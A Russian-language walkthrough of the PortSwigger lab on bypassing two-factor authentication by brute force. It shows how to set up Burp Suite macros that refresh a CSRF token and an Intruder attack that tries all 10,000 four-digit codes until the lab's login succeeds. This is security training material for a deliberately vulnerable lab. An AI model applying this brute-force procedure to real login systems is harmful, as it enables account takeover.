

Лабораторная работа: Обход 2FA с помощью грубой силы



Двухфакторная аутентификация этой лаборатории уязвима для грубого подбора. Вы уже получили действительное имя пользователя и пароль, но у вас нет доступа к коду подтверждения 2FA пользователя. Чтобы решить лабораторную задачу, переберите код 2FA и получите доступ к странице учетной записи Карлоса.

Данные жертвы: `carlos:montoya`

Примечание

Поскольку код подтверждения будет сброшен во время атаки, вам, возможно, придется повторить эту атаку несколько раз, прежде чем вы добьетесь успеха. Это связано с тем, что новый код может представлять собой номер, который уже предприняла ваша текущая атака злоумышленника.

Привет! Если ты думаешь, что знаешь всё о Burp Suite, я тебя удивлю! Этот мощный инструмент для тестирования веб-приложений скрывает в себе ещё больше возможностей, способных значительно упростить и ускорить работу. Сегодня мы изучим функционал макросов на практике и увидим, как они могут стать надежным помощником в процессе тестирования и анализа веб-приложений.

Немного вводной информации

*P.S. Доступно в Pro версии**

Совсем недавно я решал [лабораторную работу](#) "Обход 2FA с помощью грубой силы" на PortSwigger'e, где было необходимо перед каждым запросом обновлять CSRF-Token. Безусловно, можно реализовать скрипт, который перед каждой итерацией будет делать GET запрос к нужной странице и парсить токен, например:

```
def get_csrf_token(text):
    soup = BeautifulSoup(text, 'html.parser')
    return soup.find('input', attrs={'name': 'csrf'})['value']
```

Но другим более элегантным вариантом является использование макросов.

Разбираем на практике

Итак, давайте посмотрим на описание задания:

Лабораторная работа: Обход 2FA с помощью грубой силы

ЭКСПЕРТ
Лаборатория решена



Двухфакторная аутентификация этой лаборатории уязвима для грубого подбора. Вы уже получили действительное имя пользователя и пароль, но у вас нет доступа к коду подтверждения 2FA пользователя. Чтобы решить лабораторную задачу, переберите код 2FA и получите доступ к странице учетной записи Карлоса.

Данные жертвы: carlos:montoya

Примечание

Поскольку код подтверждения будет сброшен во время атаки, вам, возможно, придется повторить эту атаку несколько раз, прежде чем вы добьетесь успеха. Это связано с тем, что новый код может представлять собой номер, который уже предприняла ваша текущая атака злоумышленника.

Тут понятно. Рассмотрим логику работы авторизации.

311	https://0a5c00e404b6d9af808...	POST	/login2	17:57:30 2 ма...	200
309	https://0a5c00e404b6d9af808...	GET	/academyLabHeader	17:57:28 2 ма...	101
308	https://0a5c00e404b6d9af808...	POST	/login2	17:57:27 2 ма...	200
307	https://0a5c00e404b6d9af808...	GET	/academyLabHeader	17:57:25 2 ма...	101
306	https://0a5c00e404b6d9af808...	GET	/login2	17:57:25 2 ма...	200
305	https://0a5c00e404b6d9af808...	POST	/login	17:57:25 2 ма...	302
296	https://0a5c00e404b6d9af808...	GET	/academyLabHeader	17:57:18 2 ма...	101
295	https://0a5c00e404b6d9af808...	GET	/login	17:57:17 2 ма...	200
294	https://0a5c00e404b6d9af808...	GET	/my-account	17:57:16 2 ма...	302

GET /login -> POST /login -> GET /login2 -> POST /login2

Стоит отметить, что при двух неудачных попытках ввода проверочного кода, нас редиректит на /login. Также важно учесть, что мы используем "одноразовый" CSRF токен перед каждым POST запросом, который получаем в ответе от сервера на GET /login и GET /login2:

```
<form class=login-form method=POST>
  <input required type="hidden" name="csrf"
    value="DGgC7DB4d1Fk1d4ZUdyEBoHk1DP9KdNg">
  <label>
    - . . . . .
```

Теперь мы знаем, что необходимо регулярно обновлять токен. С этой задачей нам помогут макросы.

Для этого перейдем в Project options -> Sessions -> Session Handling Rules -> Add

Session handling rule editor

Details

Scope

?

Rule Description

Rule 1

?

Rule Actions

The actions below will be performed in sequence when this rule is applied to a request.

Add

Edit

Remove

Up

Down

Enabled	Description
---------	-------------

OK

Сразу выберем скоуп:

Session handling rule editor

Details

Scope

?

Tools Scope

Select the tools that this rule will be applied to.

☒ Target

☒ Scanner

☒ Repeater

☒ Intruder

☒ Sequencer

☐ Extender

☐ Proxy (use with caution)

?

URL Scope

Use the configuration below to control which URLs this rule applies to.

☐ Include all URLs

☐ Use suite scope [defined in Target tab]

☒ Use custom scope

☐ Use advanced scope control

Include in scope

Add

Edit

Remove

Paste URL

Load ...

Enabled	Prefix
<input checked="" type="checkbox"/>	https://0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net/login2
<input checked="" type="checkbox"/>	https://0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net/login
<input checked="" type="checkbox"/>	https://0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net/

Exclude from scope

Add

Enabled	Prefix
---------	--------

OK

Теперь создадим новое правило "Run a macro"

Session handling action editor - Rule 1

? This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based on the result of the macro.

Select macro:

Add Edit

Note that the request currently being processed by this session handling rule will still be issued, so the macro should not include this request unless it is necessary to issue it twice.

☒ Update current request with parameters matched from final macro response

☒ Update all parameters except for: Edit

☐ Update only the following parameters: Edit

☐ Tolerate URL mismatch when matching parameters (use for URL-agnostic CSRF tokens)

☒ Update current request with cookies from session handling cookie jar

☒ Update all cookies except for: Edit

☐ Update only the following cookies: Edit

☐ After running the macro, invoke a Burp extension action handler:

OK Cancel

Создадим макро, нажав на "Add"

Macro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "OK". Note that to record a macro now using your browser you will need to ensure that proxy interception is turned off.

Intercept is off

Filter: Hiding CSS, image and general binary content; matching expression 0a5c

#	Host	Method	URL	Params	Edited	Status	Length	MIME type	Extension
960	https://api.vk.com	POST	/method/messages.getLongPollHistory...	✓		200	26000	JSON	
312	https://0a5c00e404b6d9af808...	GET	/academyLabHeader			101	147		
311	https://0a5c00e404b6d9af808...	POST	/login2	✓		200	3521	HTML	
309	https://0a5c00e404b6d9af808...	GET	/academyLabHeader			101	147		
308	https://0a5c00e404b6d9af808...	POST	/login2	✓		200	3181	HTML	
307	https://0a5c00e404b6d9af808...	GET	/academyLabHeader			101	147		
306	https://0a5c00e404b6d9af808...	GET	/login2			200	3113	HTML	
305	https://0a5c00e404b6d9af808...	POST	/login	✓		302	174		
296	https://0a5c00e404b6d9af808...	GET	/academyLabHeader			101	147		
295	https://0a5c00e404b6d9af808...	GET	/login			200	3272	HTML	
294	https://0a5c00e404b6d9af808...	GET	/my-account			302	86		
277	https://0a5c00e404b6d9af808...	GET	/academyLabHeader			101	147		
274	https://0a5c00e404b6d9af808...	GET	/			200	8384	HTML	
252	https://0a5c00e404b6d9af808...	GET	/academyLabHeader			101	147		

OK

Cancel

В данном окне выбираем необходимую последовательность запросов. В нашем случае,- это GET /login POST /login GET /login2

Macro Editor

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can also test the macro to confirm it is working correctly.

Macro description: Macro 2

Macro items:

#	Host	Method	URL	Status	Cookies received	Derived parameters
1	https://0a5c00e404b6d9af808...	GET	/login	200		
2	https://0a5c00e404b6d9af808...	POST	/login	302	session	csrf
3	https://0a5c00e404b6d9af808...	GET	/login2	200		

Configure item

Move up

Move down

Remove item

Request Response

Pretty Raw Hex

```
1 GET /login HTTP/2
2 Host: 0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net
3 Cookie: session=lyYiE8Hw2jMM9pAkf28s1xPiRsbcZ11
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
7 Accept-Encoding: gzip, deflate
8 Referer: https://0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net/
```

Search...

0 matches

Re-record macro

Re-analyze macro

Test macro

OK

Cancel

На всякий случай, лучше убедиться, что всё работает, нажав на кнопку "Test macro"

Macro Tester

Macro Tester

Use this function to test the macro and determine whether it is working as required.

Testing macro: Macro 2

Macro items:

#	Host	Method	URL	Status	Cookies received	Derived parameters	Failed parameters
1	https://0a5c00e404b...	GET	/login	200			
2	https://0a5c00e404b...	POST	/login	302	session	csrf=eaJco65N6jo2Nb...	
3	https://0a5c00e404b...	GET	/login2	200			

Retest macro

Update macro

RequestResponse

Raw

1 POST /login HTTP/2

2 Host: 0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net

3 Cookie: session=272my0uCn5bQ686x5ziolR0bsaByvXz

4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

6 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

7 Accept-Encoding: gzip, deflate

8 Content-Type: application/x-www-form-urlencoded

9 Content-Length: 70

10 Origin: https://0a5c00e404b6d9af808a1ccd00b50069.web-security-academy.net

Inspector

Request Attributes2

Request Query Parameters0

Request Body Parameters3

Request Cookies1

Request Headers16

Response Headers4

0 matches

OK

Как видим, макрос успешно создан:

Macros

A macro is a sequence of one or more requests. You can use macros within session handling rules to perform tasks such as logging in to the application, obtaining anti-CSRF tokens, etc.

Add

Edit

Remove

Duplicate

Up

Down

Macro 4

Теперь перейдем в Intruder и настроим его нужным образом

19. Intruder attack of https://0a0d005c04e463dd855ef8cb00060046.web-security-academy.net - Temporary attack - Not saved to project file

AttackSaveColumns

ResultsPositionsPayloadsResource PoolOptions

Choose an attack type

Attack type: Sniper

Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: https://0a0d005c04e463dd855ef8cb00060046.web-security-academy.net

☒ Update Host header to match target

Add \$

Clear \$

Auto \$

Refresh

1 POST /login2 HTTP/2

2 Host: 0a0d005c04e463dd855ef8cb00060046.web-security-academy.net

3 Cookie: session=VWJySX2vMogolLcREvmU4UX6hbcE2xbl

4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

6 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

7 Accept-Encoding: gzip, deflate

8 Content-Type: application/x-www-form-urlencoded

9 Content-Length: 51

10 Origin: https://0a0d005c04e463dd855ef8cb00060046.web-security-academy.net

11 Referer: https://0a0d005c04e463dd855ef8cb00060046.web-security-academy.net/login2

12 Upgrade-Insecure-Requests: 1

13 Sec-Fetch-Dest: document

14 Sec-Fetch-Mode: navigate

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-User: ?1

17 Te: trailers

18

19 csrf=uPjRiqMRFdxSmB53Bs1gfrSkV6STC1B6&mfa-code=512335

?

⚙

⬅

➡

Search...

0 matches

Clear

1 payload position

Length: 828

PositionsPayloadsResource PoolOptions

Resource Pool

Specify the resource pool in which the attack will be run. Resource pools are used to manage the usage of system resources across multiple tasks.

☒ Use existing resource pool

Selected	Resource pool	Max concurrent requests	Request delay	Random delay	Delay increment
<input type="radio"/>	Default resource pool	10			
<input checked="" type="radio"/>	Custom resource pool 1		1000	<input type="checkbox"/>	

☐ Create new resource pool

Name: Custom resource pool 1

☒ Maximum concurrent requests: 1

☐ Delay between requests: 500 milliseconds

☒ Fixed

☐ With random variations

☐ Increase delay in increments of milliseconds

19. Intruder attack of https://0a0d005c04e463dd855ef8cb00060046.web-security-academy.net - Temporary attack - Not saved to project file

Attack Save Columns

Results Positions **Payloads** Resource Pool Options

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 10 000

Payload type: Numbers Request count: 10 000

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ☒ Sequential ☐ Random

From: 0

To: 9999

Step: 1

How many:

Number format

Base: ☒ Decimal ☐ Hex

Min integer digits: 4

Max integer digits: 4

Min fraction digits:

Max fraction digits: 0

Examples

0001

4321

Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

И запустим:

19. Intruder attack of https://0a0d005c04e463dd855ef8cb00060046.web-security-academy.net - Temporary attack - Not saved to project file

Attack Save Columns

Results Positions Payloads Resource Pool Options

Filter: Showing all items

Request	Payload	Status ▾	Error	Timeout	Length	Comment
1302	1301		<input type="checkbox"/>	<input type="checkbox"/>		
1303	1302		<input type="checkbox"/>	<input type="checkbox"/>		
0		400	<input type="checkbox"/>	<input type="checkbox"/>	269	
1045	1044	400	<input type="checkbox"/>	<input type="checkbox"/>	142	
309	0308	302	<input type="checkbox"/>	<input type="checkbox"/>	188	
1	0000	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
2	0001	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	
3	0002	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
4	0003	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	
5	0004	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
6	0005	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	
7	0006	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
8	0007	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	
9	0008	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
10	0009	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	
11	0010	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
12	0011	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	
13	0012	200	<input type="checkbox"/>	<input type="checkbox"/>	3521	
14	0013	200	<input type="checkbox"/>	<input type="checkbox"/>	3181	

Request Response

Pretty Raw Hex Render

1 HTTP/2 302 Found
2 Location: /my-account?id=carlos
3 Set-Cookie: session=TfnzgfJ8IRRGF52z63zMCKiMHbex3uB3; Secure; HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 0
6
7

0 matches

Paused

Бинго! Мы смогли автоматизировать достаточно нудный процесс. Стоит учитывать, что в данном примере, данный способ требует "4 запроса на 1 запрос", что значительно тормозит скорость выполнения задачи. В любом случае, данный функционал является очень удобным и полезным для автоматизации некоторых процессов. Удачи!

P.S. Когда узнал, что Vupr так умеет, очень удивился и решил поделиться с народом. Может, кто-то тоже не знал :)